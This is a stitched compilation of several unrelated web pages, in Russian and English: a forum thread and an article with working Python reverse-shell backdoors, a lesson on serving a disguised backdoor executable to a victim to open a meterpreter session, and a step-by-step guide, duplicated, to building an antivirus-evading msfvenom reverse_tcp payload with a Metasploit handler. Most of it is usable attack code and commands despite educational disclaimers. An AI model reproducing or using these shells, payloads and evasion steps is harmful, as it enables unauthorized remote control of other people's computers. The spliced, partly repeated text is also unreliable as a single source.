Как написать бэкдор

Всем привет, дорогие друзья! Наконец мы дожили до второй части. Заранее извиняюсь, если кого-то заставил ждать. Прошлая часть немного навела шороху, надеюсь и эта не отстанет.

[*Прошлая часть*]

[Введение]

В этой части мы постараемся написать backdoor. В его написании, я не вижу ничего сложного, но перед тем как начать его создавать, давайте разберемся с «задней дверью» подробнее!

Backdoor(или же «запасной ход») — это программный код при помощи которого злоумышленник может получить доступ к системе(в частых случаях к shell’у).

57ec8cf7726fe407198156_1000.jpg

Так почему же backdoor — черный ход? — спросите вы.
Потому, что его используют для повторного проникновения в уже взломанную систему! — отвечу вам, я)

Кстати, Shell — это консольная оболочка системы. К ней мы сегодня и постараемся получить доступ.
Существует 2 способа получения доступа к командной оболочке. Это reverse и bind.

Bind Shell — это, когда атакуемая машина играет роль сервера, а машина атакующего — клиент, и при воспроизведении подключения к атакуемой машине, она же дает нам доступ к shell’у.

Reverse Shell — это, когда атакующая машина играет роль сервера, а бэкдор находится на клиентской стороне и воспроизводит подключение к серверу(к вам) давая доступ к shell’у.


Reverse Shell, кстати, используется в том случае, если соединение блокируется фаерволом. Как раз таки его мы с вами и опишем.

*Подробно про Reverse и Bind Shell читать тут)*

[Приступаем к делу]

Что же, сегодня нам понадобятся 3 следующие библиотеки:

  1. Socket
  2. Subprocess
  3. OS

С библиотекой socket, мы уже познакомились в прошлой части, а теперь немного про остальные 2-е.

Subprocess — запускает определенные(заданные вами) процессы.


OS — это модуль, который предназначен для работы с операционной системой.


И так, подключаем данные модули:

Python:

import subprocess
import socket
import os


Далее создаем сокет и осуществляем подключение:

Python:

host = "имя сервера"
port = порт

sock = socket.socket()
sock.connect((host, port))

А теперь не мало важная часть. Это — потоки ввода данных. Наша задача, привязать потоки данных к нашей серверной части.

Python:

os.dup2(sock.fileno(),0)
os.dup2(sock.fileno(),1)
os.dup2(sock.fileno(),2)

И конечно же даем доступ к shell’у(командной оболочке):

Код:

subprocess.call(["bash","-i"])


В итоге получаем backdoor, который получает доступ по принципу Reverse Shell

Python:

import subprocess
import socket
import os

host = 192.168.1.X # server name
port = 9191 #ясно дело порт )

sock = socket.socket()
sock.connect((host, port))

os.dup2(sock.fileno(),0)
os.dup2(sock.fileno(),1)
os.dup2(sock.fileno(),2)

subprocess.call(["bash", "-i"])

Далее, на атакующей машине остается только запустить сервер. Это делается просто — netcat.
Пропишем следующую команду:

В итоге наблюдаем, что все сработало как нам надо)

backdoorp.png

А на этом все. Попробуйте написать свой сервер для атакующей машины.

Последнее редактирование: 10.02.2018

batu5ai


  • #2

ай спасибо :)
п.с. Если можно — выстави тег первой части или ссылку на первую часть, так будет удобнее искать и читать

rink0


  • #3

Наконецто!!
Я уж думал что ты забыл про эту тему)

alooe


  • #4

Всё. Ошибка с тегом SIZE устранена.

Последнее редактирование: 10.02.2018

batu5ai


  • #5

Всё. Ошибка с тегом SIZE устранена.

от души :)

  • #6

Привет, как я понимаю из help(socket), данный скрипт (функция socket.socket() ) работает только на unix-like os?

MLNK

MLNK

Mod. Ethical Hacking


  • #7

Отличная статья!
добавь в первую статью ссылку на вторую. я её там вроде не видел.

alooe


  • #8

Отличная статья!
добавь в первую статью ссылку на вторую. я её там вроде не видел.

Она там есть. В самом начале.

—- Добавлено позже —-

Привет, как я понимаю из help(socket), данный скрипт (функция socket.socket() ) работает только на unix-like os?

Модуль socket можно использовать и на Win. Но оно нам надо?

А сам backdoor для linux ;)

Последнее редактирование: 13.02.2018

MLNK

MLNK

Mod. Ethical Hacking


  • #9

Она там есть. В самом начале.

—- Добавлено позже —-

Модуль socket можно использовать и на Win. Но оно нам надо?

А сам backdoor для linux ;)

Пойду очки протру

—- Добавлено позже —-

Она там есть. В самом начале.

—- Добавлено позже —-

Модуль socket можно использовать и на Win. Но оно нам надо?

А сам backdoor для linux ;)

ты не так понял в первую статью Посмотреть вложение 15746

Последнее редактирование: 13.02.2018

Sasha2401b


  • #10

Доброго времени суток форумчани.
В ответ на статью AL04E, пишу этот комментарий. Статья понятно, была образовательная и для сильно новичков. Я читал гневные отзывы по его первой статье, что скажу, у людей разный опыт в программировании разное образование и т.д., и рассказывать что переменную не так назвали в коде из 10 строк и про плохой тон в разработке, ну это… Ну да ладно.
Код в статье был написан для Linux, а хотелось под Windows. Я должен отметить что backdoor на python это конечно жесть, да и backdoor должен быть скрытным и т.д.. Для backdoorа лучше Си, Сем что то компилируемое, но статьи даются для образовательных целей в данном случаи по сетевой разработке и это в принципе интересный пример да и всё, как реально применять его, это бред.
Скажу сразу, я не профессиональный разработчик, так пишу для себя не большие скрипты автоматизаций на Python. Сокетами сталкивался очень давно на Delphi, если кто помнит, там были компонеты indy и т.д.

Это не reverse, под реверс переделать не составит труда. Пример рабочий. Думаю если cmd, заменить на bash должно работать в Linux, не проверял
Сервер

Python:

#!/usr/bin/python3.5
from  socket import *
import subprocess, time

# Sever
sock=socket(AF_INET,SOCK_STREAM)
sock.bind(('',9090))
sock.listen(1)

while True:
    conn, addr = sock.accept()
    print ('Server connect by ',addr)
    while True:

        try:
            data=conn.recv(1024)
        except:
            break
        if not data:
            break
      
        result=subprocess.run(['cmd.exe'], stdout=subprocess.PIPE,stderr=subprocess.PIPE, input=data)
        conn.send(result.stdout) 
        conn.send(result.stderr)
# Интересный момент, может кто знает, у меня так нормальна не заработало, если conn.close() вынести с тела второго цикла.
# В примерах у того же Лутца, соединения закрывают в теле первого цикла. Ладно буду розбератся
        conn.close()

Клиент

Python:

#!/usr/bin/python3.5

from  socket import *

while True:
    sock=socket(AF_INET,SOCK_STREAM)
# если не на одной машине будите тестить localhost заменить на IP машины где будет сервер запущен
    sock.connect(('localhost',9090))
    sinst=input ("введите команду: ")
    if sinst=='exit1':
        break
    st=''
    for i in sinst:
      
        if i != "~":
            st=st+i
        else:
            st=st+'n'
    # Для cmd переход на новую строку - выполнения команды      
    sinst=st+"n"  
    sinst=sinst.encode('cp866')
    # Метод socket.send ожидает последовательность байтов, а не строку. (методом str.encode)
    sock.send(sinst)
   
    while True:
        try:
            data=sock.recv(1024)
        except:
            break 
        if not data:
            break
        print(data.decode('cp866'))
    sock.close()

Код простой и кривой явно, и мне он не очень нравится. Почему, из-за этого костыля

Python:

st=''
    for i in sinst:
      
        if i != "~":
            st=st+i
        else:
            st=st+'n'
    # Для cmd переход на новую строку - выполнения команды      
    sinst=st+"n"

Я думаю, спецы найдут кривизны полным полно, поковыряем еще, AL04E заинтересовал.
Если есть у кого советы или конкретный замечания (не флуд), пишите, будет легче и быстрее разобраться, не только мне.

Всем спасибо.

—- Добавлено позже —-

client.py
введите команду: cd .. ~ echo blablabla > testfile.txt
сразу выполнится cd.. перейдем в каталог верхнего уровня и там уже вторай командой создадим файл

—- Добавлено позже —-

Переделал код под reverse, проверял уже реверс, сервер Kali Linux, клиент windows 10, все работает. но только ж кодировка cp866 utf-8. в консоли lInux есть не много крякозяблов.
Сервер

Python:

#!/usr/bin/python3.5
from  socket import *


# Sever
sock=socket(AF_INET,SOCK_STREAM)
sock.bind(('',9090))
sock.listen(1)

while True:
    conn, addr = sock.accept()
    print ('Server connect by ',addr)
    
#получить не последовательность байтов, а строку, то можно воспользоваться методом str.decode
    sinst=input ("ведите команду: ") 
    if sinst=='exit1':
        break
    st=''
    for i in sinst:
        if i != "~":
            st=st+i
        else:
            st=st+'n'
# Для cmd переход на новую строку - выполнения команды        
    sinst=st+"n"  
    sinst=sinst.encode('cp866')
    # Метод socket.send ожидает последовательность байтов, а не строку. (методом str.encode) 
    conn.send(sinst)
    while True:
        try:
            data=conn.recv(1024)
        except:
            break
            
        if not data: break
                 
        print(data.decode('cp866'))
    conn.close()

Клиент

Python:

#!/usr/bin/python3.5

from  socket import *
import subprocess, time

while True:
    sock=socket(AF_INET,SOCK_STREAM)
    sock.connect(('localhost',9090))
    try: 
        data=sock.recv(1024)        
        if not data:break
        result=subprocess.run(['cmd.exe'], stdout=subprocess.PIPE,stderr=subprocess.PIPE, input=data)  
    except:
        break   
        
    sock.send(result.stdout)    
    sock.send(result.stderr)
sock.close()

Последнее редактирование модератором: 18.02.2018

slepoihudoznik


  • #11

я предлагаю добавить авторизацию по «отстукиванию-авторизации» (это уже описывалось ранее, лень ссылку искать) по определенным портам с использованием (задействованием ) незадействованными флагами пакетов , если авторизация прошла успешно то шелл открывает свои дверки .
как тут http s:// www. linux.org. ru/news /security /509918
или тут описано с примерами https :// www. opennet.ru/ base/sec/port_knocking.txt.html
про флаги достаточно интересно описано в книге https :// www. ozon.ru/ context/ detail/id/845773/

Последнее редактирование модератором: 17.03.2018

MyrMyrBl9


  • #12

Отличная статья!
Теперь есть понимание backdoor и reverse/bind атак :unsure:
Еще раз СПАСИБО за проделанный труд!

  • #13

Спасибо большое автору, он меня очень сильно выручил я использую этот скрипт для создания удаленной машины, но есть один вопрос как сделать так чтобы если появлялась ошибка подключения к серверу он автоматически подключался к другому?

hippo hat


  • #14

у всех всё работает, а лично у меня руки из того места откуда должны расти ноги так что при запуске файла консоль выдаёт следующее:

┌─[✗]─[kirill@parrot]─[~/Desktop]
└──╼ $python3 backdr.py
File «backdr.py», line 9
host = 192.168.1.105 # server name
^
SyntaxError: invalid syntax

При переходе на python2 происходит всё тоже самое :
┌─[✗]─[kirill@parrot]─[~/Desktop]
└──╼ $python backdr.py
File «backdr.py», line 9
host = 192.168.1.105 # server name
^
SyntaxError: invalid syntax

(Проблему решил оказалось что ip надо брать в кавычки»)

Последнее редактирование: 11.07.2019

FormatC


  • #15

у всех всё работает, а лично у меня руки из того места откуда должны расти ноги так что при запуске файла консоль выдаёт следующее:

┌─[✗]─[kirill@parrot]─[~/Desktop]
└──╼ $python3 backdr.py
File «backdr.py», line 9
host = 192.168.1.105 # server name
^
SyntaxError: invalid syntax

При переходе на python2 происходит всё тоже самое :
┌─[✗]─[kirill@parrot]─[~/Desktop]
└──╼ $python backdr.py
File «backdr.py», line 9
host = 192.168.1.105 # server name
^
SyntaxError: invalid syntax

(Проблему решил оказалось что ip надо брать в кавычки»)

А еще неплохо было бы запускать это через «python3» ведь синтаксис питона3 и питона2 отличается, вот и выдаёт.

hippo hat


  • #16

А еще неплохо было бы запускать это через «python3» ведь синтаксис питона3 и питона2 отличается, вот и выдаёт.

Если присмотритесь к тому как я запускал в первый раз, то можете заметить, что я запускал через python3

FrozenFlames


  • #17

host = 192.168.1.X # server name
это строка выводит мне ошибку :(

alooe


  • #18

host = 192.168.1.X # server name
это строка выводит мне ошибку :(

Код:

host = "Здесь_должен_быть_адрес_сервера"

JIBRIL


  • #19

Привет, так я сам не давно начал искать рыскать в поисках данных вещей для ознакомления то и свой вклад на твоё задание тоже введу.

Server.py

Python:

# -*- coding: utf-8 -*-
# !/usr/bin/env python3

import socket

import config
import protocol


sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((config.host, config.port))
protocol.send(sock, input())
data = protocol.recv(sock)
sock.close()
print(data)

Python:

# -*- coding: utf-8 -*-
# !/usr/bin/env python3

import socket
import threading
from os import listdir, path

import httrack
import config
import protocol


def dl_status_checker(thread, connection):
    if thread.isAlive:
        protocol.send(connection, "Downloading has started")
    else:
        protocol.send(connection, "Downloading has FAILED")


def handle_commands(connection, command, params):
    if command == "dl":
        if params[1] == '0':
            params[1] = False
        else:
            params[1] = True
        if not params[1] and len(params) == 2:
            params.append(None)
        htt_thread = threading.Thread(target=httrack.download, args=(params[0], params[1], params[2]))
        htt_thread.start()
        dl_status = threading.Timer(2.0, dl_status_checker, args=(htt_thread, connection))
        dl_status.start()
    elif command == "list":
        file_list = listdir(config.sites_directory)
        folder_list = []
        archive_list = []
        for file in file_list:
            if path.isdir(config.sites_directory + '/' + file) and file != "hts-cache":
                folder_list.append(file)
            if path.isfile(config.sites_directory + '/' + file) and 
                    (file[-7:] == ".tar.gz" or file[-8:] == ".tar.bz2" or file[-5:] == ".tar"):
                archive_list.append(file)
        site_string = ""
        folder_found = False
        if folder_list:
            site_string += "List of folders:n" + "n".join(folder_list)
            folder_found = True
        if archive_list:
            if folder_found:
                site_string += "n================================================================================n"
            site_string += "List of archives:n" + "n".join(archive_list)
        if site_string == "":
            site_string = "Sites not found!"
        protocol.send(connection, site_string)
    elif command == "load":
        load = ""
        for i in range (1, 100000):
            load += str(i) + ' '
            if i % 1000 == 0:
                load += 'n'
        protocol.send(connection, load)
    else:
        protocol.send(connection, "Invalid request")


def args_analysis(connection, args):
    args = args.split()
    handle_commands(connection=connection, command=args[0], params=args[1:])

Client.py
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind((config.host, config.port))
sock.listen(True)
while True:
    conn, addr = sock.accept()
    print('Connected by ', addr)
    data = protocol.recv(conn)
    args_analysis(connection=conn, args=data)

Внизу так как нужны ещё пару слоев кода для работы с этим отребутом сервера то код смогу дать ниже (Не хочу чтоб недо люди использовали то что им не дано хочу чтоб учили все сами, а не Копипастили)

JIBRIL


  • #20

Привет, так я сам не давно начал искать рыскать в поисках данных вещей для ознакомления то и свой вклад на твоё задание тоже введу.

Server.py

Python:

# -*- coding: utf-8 -*-
# !/usr/bin/env python3

import socket

import config
import protocol


sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((config.host, config.port))
protocol.send(sock, input())
data = protocol.recv(sock)
sock.close()
print(data)

Python:

# -*- coding: utf-8 -*-
# !/usr/bin/env python3

import socket
import threading
from os import listdir, path

import httrack
import config
import protocol


def dl_status_checker(thread, connection):
    if thread.isAlive:
        protocol.send(connection, "Downloading has started")
    else:
        protocol.send(connection, "Downloading has FAILED")


def handle_commands(connection, command, params):
    if command == "dl":
        if params[1] == '0':
            params[1] = False
        else:
            params[1] = True
        if not params[1] and len(params) == 2:
            params.append(None)
        htt_thread = threading.Thread(target=httrack.download, args=(params[0], params[1], params[2]))
        htt_thread.start()
        dl_status = threading.Timer(2.0, dl_status_checker, args=(htt_thread, connection))
        dl_status.start()
    elif command == "list":
        file_list = listdir(config.sites_directory)
        folder_list = []
        archive_list = []
        for file in file_list:
            if path.isdir(config.sites_directory + '/' + file) and file != "hts-cache":
                folder_list.append(file)
            if path.isfile(config.sites_directory + '/' + file) and 
                    (file[-7:] == ".tar.gz" or file[-8:] == ".tar.bz2" or file[-5:] == ".tar"):
                archive_list.append(file)
        site_string = ""
        folder_found = False
        if folder_list:
            site_string += "List of folders:n" + "n".join(folder_list)
            folder_found = True
        if archive_list:
            if folder_found:
                site_string += "n================================================================================n"
            site_string += "List of archives:n" + "n".join(archive_list)
        if site_string == "":
            site_string = "Sites not found!"
        protocol.send(connection, site_string)
    elif command == "load":
        load = ""
        for i in range (1, 100000):
            load += str(i) + ' '
            if i % 1000 == 0:
                load += 'n'
        protocol.send(connection, load)
    else:
        protocol.send(connection, "Invalid request")


def args_analysis(connection, args):
    args = args.split()
    handle_commands(connection=connection, command=args[0], params=args[1:])

Client.py
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind((config.host, config.port))
sock.listen(True)
while True:
    conn, addr = sock.accept()
    print('Connected by ', addr)
    data = protocol.recv(conn)
    args_analysis(connection=conn, args=data)

Внизу так как нужны ещё пару слоев кода для работы с этим отребутом сервера то код смогу дать ниже (Не хочу чтоб недо люди использовали то что им не дано хочу чтоб учили все сами, а не Копипастили)

1 это Client.py
2.это Server.py

Кодинг
2,414

python icon

Бэкдор — это инструмент, который позволяет хакеру удаленно подключиться к целевой машине. В этой статье я покажу, как создать простой бэкдор на Pyhton

Еще по теме: Как написать сканер портов на Python

Бэкдор на Python

Основная цель бэкдора — отправлять и выполнять команды и получить удаленный доступ к файлам на целевой системе.

Устройство бэкдора Python

В информационной безопасности существует два основных типа полезной нагрузки:

  • Оболочка (Шелл)
  • Обратная оболочка (Реверс шелл)

Оболочки создают сервер непосредственно на целевой машине, к которому может подключиться хакер.

Обратные оболочки состоит из двух частей: клиента и сервера. Клиентский модуль запускаются на целевой машине и самостоятельно подключается к компьютеру хакера.


Статья написана в образовательных целях, для обучения этичных хакеров. При демонстрации работы были использованы личные устройства автора. Использование подобных инструментов без надлежащего письменного разрешения, является незаконным и будет расцениваться, как уголовное преступление. Ни редак­ция spy-soft.net, ни автор не несут ответс­твен­ность за ваши действия.

Поскольку направление исходного соединения было «обратным» (например, от жертвы к злоумышленнику), оболочка получила название обратной оболочки или бэкдор. Далее мы напишем бэкдор на Python. Для понимания, целевой компьютер будет называться жертвой, а машина хакера — атакующим.

Создание бэкдора на Python

Во-первых, мы должны создать сервер, на котором будем работать. Сервер будет состоять из четырех частей:

  1. Получение нашего локального IP и указанного порта.
  2. Привязка IP-адреса и порта для создания сокета.
  3. Запуск слушателя.
  4. Отправка и получение команд в бесконечном цикле.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

# Imports

import socket

# Getting our local IP and a specified port

HOST = ‘127.0.0.1’ # ‘192.168.43.82’

PORT = 8081 # 2222

new_port = input(‘Input Host Port (Blank if default).’)

if (new_port != «n»):

    REMOTE_PORT = new_port

# Binding the IP to the Port

# Creating a Socket

server = socket.socket()

server.bind((HOST, PORT))

# Starting the Listener

print(‘[+] Server Started’)

print(‘[+] Listening For Client Connection …’)

server.listen(1)

client, client_addr = server.accept()

print(f‘[+] {client_addr} Client connected to the server’)

# Sending and receiving commands in an infinite loop

while True:

    command = input(‘Enter Command : ‘)

    command = command.encode()

    client.send(command)

    print(‘[+] Command sent’)

    output = client.recv(1024)

    output = output.decode()

    print(f«Output: {output}»)

Затем мы подключимся к атакующему на основе жестко запрограммированного IP-адреса и порта, поскольку он не может получить их динамически.

Поскольку мы запускаем эту обратную оболочку на локальной машине, сокет будет выглядеть так:

REMOTE_HOST = ‘127.0.0.1’

REMOTE_PORT = 8081 # 2222

client = socket.socket()

Далее мы должны получать команды и использовать библиотечный подпроцесс для открытия терминала и параллельного запуска команд. Вот как это будет выглядеть:

command = client.recv(1024)

command = command.decode()

op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)

Полный код сервера выглядит следующим образом:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

# Imports

from ctypes.wintypes import INT

import socket

import subprocess

# Setting Up IP/Sockets

REMOTE_HOST = ‘127.0.0.1’

REMOTE_PORT = 8081 # 2222

client = socket.socket()

# Initializing Connection

print(«[-] Connection Initiating…»)

client.connect((REMOTE_HOST, REMOTE_PORT))

print(«[-] Connection initiated!»)

# Runtime Loop

while True:

    print(«[-] Awaiting commands…»)

    command = client.recv(1024)

    command = command.decode()

    op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)

    output = op.stdout.read()

    output_error = op.stderr.read()

    print(«[-] Sending response…»)

    client.send(output + output_error)

Вот пример обратной оболочки в действии:

Бэкдор Python

Слева клиент, справа сервер.

Запуск сначала сервера, а затем клиента позволит использовать сервер для отправки и получения данных. Полный код см. на GitHub.

С вами были Aleksa Zatezalo и QUASAR. Увидимся в следующей статье!

РЕКОМЕНДУЕМ:

  • Пишем троян на Python
  • Создаем шифровальщик на Python
  • Делаем пейлоад на Python для взлома камеры
  • Как использовать pynput для создания кейлоггера на Python

ВКонтакте

Twitter

Facebook

OK

Telegram

WhatsApp

Viber

Просмотров: 95

В предыдущих уроках мы основательно подготовились к получению подключения с машины жертвы и установку соединения с ней. Мы находимся в режиме ожидания, и если жертва запустит бэкдор, то мы сможем подключиться к ее компьютеру.

Предлагаю протестировать работу бэкдора и проверить, все ли работает. На данном этапе я хотел бы показать довольно примитивный способ доставки бэкдора на компьютер жертвы, но для начала и общего понимания процесса, он необходим. Разумеется, есть более умные и изощренные способы и уловки для передачи бэкдора жертве. О них я поговорю немного позже. В рамках тестирования нашего бэкдора, нам нужно поднять веб-сервер для того, чтобы жертва скачала его на своей машине. Это делается достаточно просто, но этот способ на 99% является нерабочим в реальных условиях. Еще раз повторяю, мы тестируем бэкдор на актуальность работы.

Kali Linux и Parrot Security OS идут с веб-сервером, и это значит, что Вы можете использовать эти машины в качестве веб-сайтов. Нам нужно загрузить бэкдор на веб-сайт и загрузить его с машины на Windows. В Kali Linux директория, где хранятся файлы веб-сайта расположена по адресу: «var / www/ html». И для наглядности я создал дополнительную директорию под бэкдор, которую назвал «evil»:

директория evil

В Parrot Security OS путь будет идентичным. Для бэкдоров в экспериментальных целях, я назвал директорию «evil-files»:

parrot security os evil-files

Как Вы помните из предыдущих уроков, я скопировал бэкдор «kali_linux_2019.exe» на рабочий стол в Parrot Security OS. Его мне нужно перенести на машину Kali Linux. Этот «финт ушами» я делаю для экономии времени, так как фреймворк Veil у меня не установлен на Kali. К слову сказать, установка ничем не отличается, так что можете перейти к первому уроку и инсталлировать себе инструмент.

Копирование осуществляется с помощью функции Drag and Drope. Откроем директорию /home на Kali и просто перетащим файл:

home kali linux

Можно было конечно сразу переместить его в директорию веб-сайта, но я решил сделать дополнительный шаг, скопировав бэкдор из директории /home в директорию «/var/www/html/evil/»:

/var/www/html/evil/

На этом манипуляции с перемещением файлов завершены и можно уже запускать сервер на Kali Linux. Для его запуска нужно прописать команду в терминале, которая будет иметь вид «service apache2 start»:

service apache2 start

После запуска я рекомендую просмотреть состояние сервера с помощью команды «service apache2 status»:

service apache2 status

Все актуально, и можем выйти, нажав клавишу «q».

Мы произвели все настройки бэкдора и сервисов. Теперь можно перейти в нашу машину на Windows. В моем случае я использую Windows 7, но не важно, так как подойдет для эксперимента любая система семейства Windows, в том числе и Windows 10. Итак, переходим в браузер и вводим в адресной строке ip-адрес Kali Linux. Это запись «10.0.2.5/»:

windows 7

Переходим в директорию «evil/». Как Вы помните, я создал эту директорию для тестирования бэкдоров. Вводим «10.0.2.5/evil/»:

kali_linux_2019.exe

Нас интересует файл «kali_linux_2019.exe». Скачиваем его на рабочий стол, для наглядности:

download kali_linux_2019.exe

download kali_linux_2019.exe

Запускаем файл двойным щелчком мыши, и в всплывающем окне жмем «Запустить»:

запуск бэкдора

Переходим в машину на Kali Linux и видим в терминале открывшуюся сессию «meterpreter»:

meterpreter

Но возникнет проблема того, что meterpreter не активируется, а сессия открыта, как в моем случае. В этой ситуации нужно приостановить сессию с помощью комбинации клавиш «Ctrl+C»:

приостановка сессии meterpreter

Далее ввести команду для просмотра сессий: «sessions -l»:

sessions -l

Мы видим активную сессию с Id: 1. Нам нужно выбрать ее с помощью команды: «sessions -i 1»:

sessions -i 1

Все отлично, meterpreter корректно отображается.

По сути сейчас у нас есть полный доступ над этим компьютером. Meterpreter позволяет делать то же самое, что может делать пользователь со своей машиной. Бэкдор исправно работает и давайте выполним команду «help», чтобы посмотреть перечень некоторых команд meterpreter:

meterpreter

Повторю, что мы взломали этот компьютер, и у нас есть полный доступ к нему.

С этим у меня все, всем хорошего дня.

Первая часть про бэкдоры.

Вторая часть про бэкдоры.

Третья часть про бэкдоры.

Четвертая часть про бэкдоры.


Download Article


Download Article

A backdoor is used to bypass security mechanisms, often secretly and mostly undetectably. Using MSFvenom, the combination of msfpayload and msfencode, it’s possible to create a backdoor that connects back to the attacker by using reverse shell TCP. In order to develop a backdoor, you need to change the signature of your malware to evade any antivirus software. Complete this project on a pair of computers that you have permission to access, and in the process, you’ll learn more about computer security and how this kind of backdoor works.

  1. Image titled Create a Nearly Undetectable Backdoor using MSFvenom in Kali Linux Step 1

    1

    Start up Kali and fire up the Terminal console.

  2. Image titled Create a Nearly Undetectable Backdoor using MSFvenom in Kali Linux Step 2

    2

    Type ifconfig to display the interface and check your IP address.

    Advertisement

  3. Image titled Create a Nearly Undetectable Backdoor using MSFvenom in Kali Linux Step 3

    3

    Type msfvenom -l encoders to show the list of encoders.

    • You will use x86/shikata_ga_nai as the encoder.
  4. Image titled Create a Nearly Undetectable Backdoor using MSFvenom in Kali Linux Step 4

    4

    Type «msfvenom -a x86 —platform windows -p windows/shell/reverse_tcp LHOST = 192.168.48.129 LPORT=4444 -b «x00» -e x86/shikata_ga_nai -f exe > helloWorld.exe

    • -a x86 --platform windows designates architecture to use.
    • -p windows/shell/reverse_tcp designates the payloads to embed.
    • LHOST designates the listener IP address.
    • LPORT designates the listener port.
    • -b "x00" designates to avoid bad character (null bytes).
    • -e x86/shikata_ga_nai designates the encoders name.
    • -f exe > helloWorld.exe designates format output.
  5. Image titled Create a Nearly Undetectable Backdoor using MSFvenom in Kali Linux Step 5

    5

    Type msfconsole to activate the Metasploit.

    • Now you have generated your backdoor. When the victim clicks on helloWorld.exe, the shell payload that is embedded will be activated and make a connection back to your system. In order to receive the connection, you have to open the multi-handler in Metasploit and set the payloads.
  6. Image titled Create a Nearly Undetectable Backdoor using MSFvenom in Kali Linux Step 6

    6

    Type use exploit/multi/handler.

  7. Image titled Create a Nearly Undetectable Backdoor using MSFvenom in Kali Linux Step 7

    7

    Type set payload windows/shell/reverse_tcp.

  8. Image titled Create a Nearly Undetectable Backdoor using MSFvenom in Kali Linux Step 8

    8

    Type show options to check the module.

  9. Image titled Create a Nearly Undetectable Backdoor using MSFvenom in Kali Linux Step 9

    9

    Type set LHOST 192.168.48.129.

    • «LHOST» designates the listener IP address.
  10. Image titled Create a Nearly Undetectable Backdoor using MSFvenom in Kali Linux Step 10

    10

    Type set LPORT 4444.

    • «LPORT» designates the listener port.
  11. Image titled Create a Nearly Undetectable Backdoor using MSFvenom in Kali Linux Step 11

    11

    Type run and wait for the connection from victim’s machine.

  12. Image titled Create a Nearly Undetectable Backdoor using MSFvenom in Kali Linux Step 12

    12

    Wait for the victim to click on helloWorld.exe. Then you will be successfully connected to the victim’s machine.

  13. Advertisement

Add New Question

  • Question

    What do I do if an error pops up when creating the exploit?

    MOHMMD ELFA

    MOHMMD ELFA

    Community Answer

    Make sure you did everything correctly and try again. Make sure your are running Kali Linux.

Ask a Question

200 characters left

Include your email address to get a message when this question is answered.

Submit

Advertisement

  • Using -i <numbers> in MSFvenom will represent the iterations the encoding. Sometimes more iterations may help to evade the AV software.

  • You have learned how to generate the backdoor and encoded by using MSFvenom, but this method will not work perfectly against some of the AV software nowadays. The reason behind this is because of the execution templates in MSFvenom. The AV vendors have added the static signature of these templates and just look for them. The solution for this issue is to use a different execution template or different tools.

Thanks for submitting a tip for review!

Advertisement

  • This article is for educational purpose only. Hacking without authorization or permission is unethical and often illegal.

Advertisement

Things You’ll Need

  • Kali Linux
  • Windows
  • Virtual machine

    • VirtualBox
    • VMware

References

About This Article

Thanks to all authors for creating a page that has been read 100,909 times.

Is this article up to date?


Download Article


Download Article

A backdoor is used to bypass security mechanisms, often secretly and mostly undetectably. Using MSFvenom, the combination of msfpayload and msfencode, it’s possible to create a backdoor that connects back to the attacker by using reverse shell TCP. In order to develop a backdoor, you need to change the signature of your malware to evade any antivirus software. Complete this project on a pair of computers that you have permission to access, and in the process, you’ll learn more about computer security and how this kind of backdoor works.

  1. Image titled Create a Nearly Undetectable Backdoor using MSFvenom in Kali Linux Step 1

    1

    Start up Kali and fire up the Terminal console.

  2. Image titled Create a Nearly Undetectable Backdoor using MSFvenom in Kali Linux Step 2

    2

    Type ifconfig to display the interface and check your IP address.

    Advertisement

  3. Image titled Create a Nearly Undetectable Backdoor using MSFvenom in Kali Linux Step 3

    3

    Type msfvenom -l encoders to show the list of encoders.

    • You will use x86/shikata_ga_nai as the encoder.
  4. Image titled Create a Nearly Undetectable Backdoor using MSFvenom in Kali Linux Step 4

    4

    Type «msfvenom -a x86 —platform windows -p windows/shell/reverse_tcp LHOST = 192.168.48.129 LPORT=4444 -b «x00» -e x86/shikata_ga_nai -f exe > helloWorld.exe

    • -a x86 --platform windows designates architecture to use.
    • -p windows/shell/reverse_tcp designates the payloads to embed.
    • LHOST designates the listener IP address.
    • LPORT designates the listener port.
    • -b "x00" designates to avoid bad character (null bytes).
    • -e x86/shikata_ga_nai designates the encoders name.
    • -f exe > helloWorld.exe designates format output.
  5. Image titled Create a Nearly Undetectable Backdoor using MSFvenom in Kali Linux Step 5

    5

    Type msfconsole to activate the Metasploit.

    • Now you have generated your backdoor. When the victim clicks on helloWorld.exe, the shell payload that is embedded will be activated and make a connection back to your system. In order to receive the connection, you have to open the multi-handler in Metasploit and set the payloads.
  6. Image titled Create a Nearly Undetectable Backdoor using MSFvenom in Kali Linux Step 6

    6

    Type use exploit/multi/handler.

  7. Image titled Create a Nearly Undetectable Backdoor using MSFvenom in Kali Linux Step 7

    7

    Type set payload windows/shell/reverse_tcp.

  8. Image titled Create a Nearly Undetectable Backdoor using MSFvenom in Kali Linux Step 8

    8

    Type show options to check the module.

  9. Image titled Create a Nearly Undetectable Backdoor using MSFvenom in Kali Linux Step 9

    9

    Type set LHOST 192.168.48.129.

    • «LHOST» designates the listener IP address.
  10. Image titled Create a Nearly Undetectable Backdoor using MSFvenom in Kali Linux Step 10

    10

    Type set LPORT 4444.

    • «LPORT» designates the listener port.
  11. Image titled Create a Nearly Undetectable Backdoor using MSFvenom in Kali Linux Step 11

    11

    Type run and wait for the connection from victim’s machine.

  12. Image titled Create a Nearly Undetectable Backdoor using MSFvenom in Kali Linux Step 12

    12

    Wait for the victim to click on helloWorld.exe. Then you will be successfully connected to the victim’s machine.

  13. Advertisement

Add New Question

  • Question

    What do I do if an error pops up when creating the exploit?

    MOHMMD ELFA

    MOHMMD ELFA

    Community Answer

    Make sure you did everything correctly and try again. Make sure your are running Kali Linux.

Ask a Question

200 characters left

Include your email address to get a message when this question is answered.

Submit

Advertisement

  • Using -i <numbers> in MSFvenom will represent the iterations the encoding. Sometimes more iterations may help to evade the AV software.

